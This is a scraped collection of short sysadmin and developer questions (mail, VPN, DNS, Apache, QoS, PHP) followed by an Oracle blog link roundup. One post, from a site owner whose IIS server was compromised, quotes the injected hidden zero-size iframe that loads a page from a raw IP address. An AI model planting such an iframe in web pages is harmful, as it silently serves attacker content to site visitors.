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  • Sendmail ignoring parameters

    - by André
    We're sending ~60k emails to non-local addresses with sendmail and I manually set the -f flag to [email protected]. This all works fine and dandy when I limit my PHP script to 5000 addresses. If I remove the limitation, sendmail ingnores the parameters and sends all emails with a reply-to and return-path of [email protected]. I'm sleeping in between each email for 500ms, that should not be the problem.

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  • installing SNMP in Windows x32 Customized Image

    - by André Faria
    I'm working in a environment of 40 machines, I've already installed snmp in 38 machines normally, but 2 of them appear to have been installed with a customized windows image, there is no OptionalFeatures, there is no ocsetup.exe, so I could not able to install SNMP. I tried to copy OptionalFeatures and ocsetup from another machine, but it don't work. For now I cannot simple format these two computer, it's possible to install it using another way? Thanks in advance

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  • Can't see any YouTube videos

    - by André
    I have a problem with watching YouTube videos. It says: "An error occurred, please try again later". I've tried loading different videos and that's what it says to all the videos I try to watch. I've tried using another browser, clearing cache + cookies etc, but none of that really worked out. My operating system is Windows 7 Home Premium, I use Google Chrome as my browser. And the YouTube videos was able to be watched earlier. I suspect that it has something to do with the PC, since I've got YouTube working on my laptop earlier. Not sure if it still works on my laptop though. Hope I've given enough information for you to help me out with this problem. Feel free to ask if there's anything else you need to know. Anyone who can help me out?

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  • Which VMs are easier to install/configure and more performant?

    - by André Alçada Padez
    well, i hope this doesn't get categorized as a boating question, but it really is related to programming. I have windows XP, and i am going to have to have a VM running: Windows 7 Visual Studio 2008 Sql Server 2008 IIS 7 (8 in a little while) Wamp Photoshop CS5 etc... so i was wondering what should i use to be easier to install and configure, and best performance: Virtual Box or Microsoft's Virtual Machine? Thank you Well i tried Virtual Box, it's always crashing for some reason. I think i'm going to try Virtual PC, just to stick to an all Microsoft Solution.

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  • Tidying up old apache logs managed by vlogger

    - by Andre Lackmann
    We're using vlogger to manage our apache logs which keeps everything nice and neat but pretty much breaks the ability to use logrotate from as far as I can see. eg. our virtual access.logs each sit within their own dir and are named similar to: /virtual.com/ 20100501-access.log 20100502-access.log 20100503-access.log 20100504-access.log etc.. Has anyone created a cleanup script to go through the /var/log/httpd/ sub dirs and remove old logs? We like using vlogger, but cleaning up olds logs after it is a pain!

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  • How can i set new domains to respond to my server

    - by André
    I would like to create a page for new clients in my hosting. When someone register a domain, sometimes that person don't have a dns, or the hosting didn't created the account. So the page will not respond. Is there any way to set in my primary domain DNS to respond to all domains pointing to me, to a specific new page like home/resseler/public_html/soon.html ? Like a CNAME myserver.com/soon.html CNAME ~~all domains pointing to my ns1 and ns2. A normal default page for news domains pointed to my server without account creation.

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  • OpenVPN multiple servers on the same subnet, high availability

    - by andre
    Hey everyone. Let me start by saying that my Linux experience isn't super awesome but I can usually find my way around things easily. Over at work we have an OpenVPN setup that's been due for some improvement for a while now. The main server (tap mode) runs in our office, behind a rather slow DSL connection. The main problem is that, since I'm usually out of the office, every time I want to access something on the virtual network I have to go through that server to get anywhere else. We have two servers up on 100 Mbit connections that we use for development and production purposes, about 3 more servers in the office (one of them behind a different T1 line for VOIP) and about two dozen clients who use the network on a daily basis from various locations. We've had situations where network routing (outside of our control) would not allow people to reach our main OpenVPN server whilst the other locations were connectable. Also any time someone outside the office wants to fetch something from any of the servers (say, a 500 MB code repository), a whopping 20 KB/s download speed is just unacceptable these days (did I mention slow DSL? ok). We had to implement traffic shaping on this server since maxing out this connection was fairly trivial. I had the thought of running two (or more) OpenVPN servers in the network. These would have to have the same subnet though, as our application relies on virtual network's IP addresses for some of its core functionality. The clients would also preferably retain the same IP addresses but that's not vital. For simplicity, lets call the current server office and the second server I'm setting up, cloud. Call the server on the T1 phone. This proved to be rather complex because as soon as I connect to cloud, I cannot see office. Any routes to a server that would go through office also do not work while I'm connected to cloud (no ping, nothing) and vice-versa. There's no rules for iptables that would be blocking the traffic either. Recently I came across this article on linuxjournal but the solution they provide seems to only cover the use of two servers and somewhat outdated (can't even find much documentation, their wiki is offline). They also state that adding more servers would be a complex task. Ideally I would like to keep the existing server office running the virtual network and also run the OpenVPN daemon on the cloud and phone servers (100 Mbit and very reliable connection, respectively) so that we're on safe ground in case of a hardware failure, DSL failure, etc. So, in essence, I'm looking for a highly available OpenVPN solution (fix, patch, hack, tweak, whatever you want to call it) that will accept connections on multiple hosts (2 or more) whilst keeping the same IP address subnet regardless of the server to which you connect to. Thanks for reading and sorry for the long post, I hope it gets the point across :P

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  • Do I need to have a company so that I can buy an SSL certificate that will display green at the address bar?

    - by André Pena
    I have a non-comercial website in which the users store some sensitive information so I feel the need to have a SSL certificate, but it seems that if I don't have a registered company I can't buy a green certificate. I have some related questions: Is it true that if I don't have a company, I can't have a green certificate? If I issue a standard (non-business) certificate that won't go green (from GoDadday, for instance), will it go red? Or will it have a less ugly display.. something more neutral that won't scary the user.

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  • Adobe Acrobat: How to batch to combine multiple pdf files?

    - by Andrei Andre
    I have 3 folders: Folder 1 Folder 2 Folder 3 In each folder I have 5 pdf files: Folder 1 file1.pdf file2.pdf Folder 2 file1.pdf file2.pdf Folder 3 file1.pdf file2.pdf I want that in each folder to have a combined file of those two files: Folder 1 binder.pdf Folder 2 binder.pdf Folder 3 binder.pdf Any idea? Don't tell to do it manually. This case is just to explain you my problem. Think that I have hundreds of folders. :) Maybe I can use another tool instead of Adobe Acrobat?!

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  • How switch between screen inside screen?

    - by André Andrade
    I have to work inside two environment. One Windows (local) and one Linux (remote). I've installed the screen linux utility in both. I'm able to open a screen on my windows, then in one tab, I opened a ssh connection to the linux remote and I start another screen. Sample linux -- |0 linux remote 0| 1 linux remote 1 windows-- |0 linux | 9 windows I can switch between "linux remote 0" and "linux remote 1" using Atl+. This is configured in .screenrc (bindkey "^[0" select 0) How could I switch to "9 windows"?

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  • Apache - access two or more virtual hosts from outside

    - by André Alçada Padez
    I have an apache2 server running on my ubuntu system. I have two sites enabled: default (ServerName localhost) site2 (ServerName jslib) I run a windows Virtual Box Machine, to be able to test my stuff in IE. If i type the ubuntu's IP in the addressbar i get the localhost. I was wondering how can i access both (or more as i need it) from other machines. Thanks update I have configured the windows' hosts file like so: 10.0.2.2 localhost 10.0.2.2 jslib It works, but i am really looking for something that i can configure on the server side, and then just change the value of the URL, am i crazy?

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  • What is the best IP/Subnet set up strategy for a multi-server webhosting setup?

    - by Roy Andre
    Sorry for the mixed-up title, but let me try to explain better: We run a hosting solution, which until now has supported shared hosting and VPSes. Easy enough. We are now getting larger clients which require a more complex setup. We have more or less settled the server-setup itself, which will consist of: 1-2 Frontend Proxy/Load balancing servers 2+ Application servers 1 Database server 1 optional Memcached server The issue we are dealing with is to agree on a flexible and easy-to-maintain IP setup. So far we've been into VLAN'ing the internal servers in its own subnet, we've though of assigning an official IP to each server, and so on. What will be the best approach here? Any best practices? Using one official IP on the Frontend server, and then just set up an internal subnet for the servers behind that? We could then just NAT in any eventual sources required to access for instance the DB server directly over 3306.

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  • Different Servers for incoming mails

    - by André
    Hi everybody, not sure if what I want is possible so I´d appreciate any pointers. I have full control over the infrastructure (DNS and servers) Currently I receive mails for domain.tld. MX record for domain.tld is gw.domain.tld. gw then does some spam and virus checking and forwards the mails to the internal exchange server. GW is a Proxmox Mail Gateway Box (Free license) Now what I want is to distribute mails for different recipients to other mail servers. Basicly I only want [email protected] and [email protected] to go to the exchange as before, but all others go to a different mail server (based on linux). Any idea how I could achieve this?

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  • cname and wordpress domain map

    - by andre
    I have a domain like this (www.example.com.br) and I'm also the manager for the domain and the nameservers too (the nameservers are Bind). Now I have a blog from wordpress.com and I wanted to map domain to www.88.example.com.br. The wordpress suggested to use this: 88.example.com.br IN CNAME example88.wordpress.com. Can I create a zone file with only that CNAME ? Can I use other zone file that already exists, like this ? $ORIGIN 88.example.com.br. 88.example.com.br IN CNAME exmple88.wordpress.com. Thanks in advance

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  • cisco vpn client randomly disconnects with pfSense

    - by Andre
    My network has two gateways, one is a pfSense box that everyone uses. The other one is a TP-Link firewall essentially for tests. Some machines inside my network need to access a VPN through the Cisco VPN client. If one of those machines is using the pfSense box as the gateway, I experience random connection drops on the VPN. If I am using the TP-Link gateway that doesn't happen. I've tried changing the MTU in the pfSense box and that improved things a little bit but didn't really solve the problem. I also followed the guidelines for traffic shaping in pfSense and the connections still drop quite often. Ideas?

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  • What is the technique used to make my IIS 7 serve all pages with an injected iframe

    - by Andre Carlucci
    Since my previous question was closed without an answer, I'm changing it a bit and asking again. All my pages are being served with an malicious iframe injected just before the html tag. The code looks like this: <iframe src= http://117.21.247.171:700/1.htm width=0 height=0></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pt-BR"> ... Firstly I thought it could be something related with wordpress, but my asp.net sites are also infected and even if I create a static html file with nothing inside, the iframe is injected. I'm using a Windows Server 2008 R2 Standard with IIS7.5 7600. Anyone knows how to do this in IIS?

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  • VM load and ping problems after replacing server motherboard

    - by Andre
    Recently, we had to replace the motherboard of one of our servers. The procedure was done by IBM as it had guarantee. The server runs ESXi 5.1, with several virtual machines, including our main mail server (Domino) and a file server. After the replacing the motherboard and staring the VMs, ESXi asked us if we had moved it or copied (different motherboard is like a different computer). We clicked the latter. We started each machine and after some basic reconfiguration, all of them were up. However, we have been having problems with the mail server, it has been acting really slow at times (this could be when it syncs with the secondary mail server) and we have been checking with Centreon (a Nagios frontend) that its CPU load has been a bit high at times and ping response too. There was a moment this morning in which I tried connecting via SSH console and it was really slow to show login and basic commands like ifconfig and top. This particular mail server is a CentOS 4.4.7 64-bit. The little configuring we had to do after restarting it was to configure the network connection as it was resolving through DHCP. Our mail software is Lotus Notes server 9. Do you know of any way in which this replacement may be causing these difficulties, and how to fix it? Thanks.

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  • How to prevent a database from being restored?

    - by André
    Is there a way to prevent a database from being restored with a DDL trigger or something? The background is that I would like to prevent restoring a database on a test server by a colleague. So far I had a look a DDL trigger but didn't find the right event to react on the restore action.

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  • Linux QoS (Skype / BitTorent / SIP / HTTP priority)

    - by Andre
    We are configuring a linux box that will act as internet gateway for an office of 30-50 computers. We are using iptables/HTB for traffic shaping. Is there a way to match traffic on L7 level? It's easy to identify traffic by TCP/UDP ports (like SIP and HTTP). But what if we are dealing with Skype & BitTorent? It was surprise for me that there is no powerful and matured sulution for tasks like this. I found only l7-filter (http://l7-filter.clearfoundation.com/) patch for the Linux kernel, but it's no longer supported (it seems to). Moreover it couldn't be compiled with modern Linux kernels. The only option I found was to use a Cisco router. Are there other ways to identify and shape Skype and Bittorent traffic?

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  • PHP: Replace umlauts with closest 7-bit ASCII equivalent in an UTF-8 string

    - by BlaM
    What I want to do is to remove all accents and umlauts from a string, turning "lärm" into "larm" or "andré" into "andre". What I tried to do was to utf8_decode the string and then use strtr on it, but since my source file is saved as UTF-8 file, I can't enter the ISO-8859-15 characters for all umlauts - the editor inserts the UTF-8 characters. Obviously a solution for this would be to have an include that's an ISO-8859-15 file, but there must be a better way than to have another required include? echo strtr(utf8_decode($input), 'ŠŒŽšœžŸ¥µÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýÿ', 'SOZsozYYuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy'); UPDATE: Maybe I was a bit inaccurate with what I try to do: I do not actually want to remove the umlauts, but to replace them with their closest "one character ASCII" aequivalent.

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  • ADF Taskflow Transaction Management

    - by raghu.yadav
    There are four transaction management properties available, please refer the guide http://download.oracle.com/docs/cd/E15523_01/web.1111/b31974/taskflows_complex.htm#BABICCGC for detail description. In short : 1) - does not participate in any transaction management 2) Always Use Existing Transaction - the bounded task flow participates in an existing transaction 3) Use Existing Transaction If Possible - bounded task flow either participates in an existing transaction or starts a new transaction 4) Always Begin New Transaction - new transaction starts when the bounded task flow is entered 2) Always Begin New Transaction : There is already a example exists by andre use existing transaction example

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  • ArchBeat Link-o-Rama for 2012-06-06

    - by Bob Rhubart
    Creating an Oracle Endeca Information Discovery 2.3 Application Part 3 : Creating the User Interface | Mark Rittman Oracle ACE Director Mark Rittman continues his article series. WebLogic Advisor WebCasts on-demand A series of videos by WebLogic experts, available to those with access to support.oracle.com. Integrating OBIEE 11g into Weblogic’s SAML SSO | Andre Correa A-Team blogger Andre Correa illustrates a transient federation scenario. InfoQ: Cloud 2017: Cloud Architectures in 5 Years Andrew Phillips, Mark Holdsworth, Martijn Verburg, Patrick Debois, and Richard Davies review the evolution of cloud computing so far and look five years into the future. Call for Nominations: Oracle Fusion Middleware Innovation Awards 2012 - Win a free pass to #OOW12 These awards honor customers for their cutting-edge solutions using Oracle Fusion Middleware. Either a customer, their partner, or an Oracle representative can submit the nomination form on behalf of the customer. Submission deadline: July 17. Winners receive a free pass to Oracle OpenWorld 2012 in San Francisco. SOA Analysis within the Department of Defense Architecture Framework (DoDAF) 2.0 – Part II | Dawit Lessanu The conclusion of Lessanu's two-part series for Service Technology Magazine. Driving from Business Architecture to Business Process Services | Hariharan V. Ganesarethinam "The perfect mixture of EA, SOA and BPM make enterprise IT highly agile so it can quickly accommodate dynamic business strategies, alignments and directions," says Ganesarethinam. "However, there should be a structured approach to drive enterprise architecture to service-oriented architecture and business processes." Book Review: Oracle Application Integration Architecture (AIA) Foundation Pack 11gR1: Essentials | Rajesh Raheja Rajesh Raheja reviews the new AIA book from Packt Publishing. ODTUG Kscope12 - June 24-28 - San Antonio, TX San Antonio, TX June 24-28, 2012 Kscope12, sponsored by ODTUG, is your home for Application Express, BI and Oracle EPM, Database Development, Fusion Middleware, and MySQL training by the best of the best! Oracle Enterprise Manager Ops Center 12c : Enterprise Controller High Availability (EC HA) | Mahesh Sharma Mahesh Sharma describes EC HA, looks at the prerequisites, and shares screen shots. The right way to transform your business via the cloud | David Linthicum A couple of quick tests will show you where you need to focus your transition efforts. Thought for the Day "Most software isn't designed. Rather, it emerges from the development team like a zombie emerging from a bubbling vat of Research and Development juice. When a discipline is hugging the ragged edge of technology, this might be expected, but most of today's software is comprised of mostly 'D' and very little 'R'." — Alan Cooper Source: softwarequotes.com

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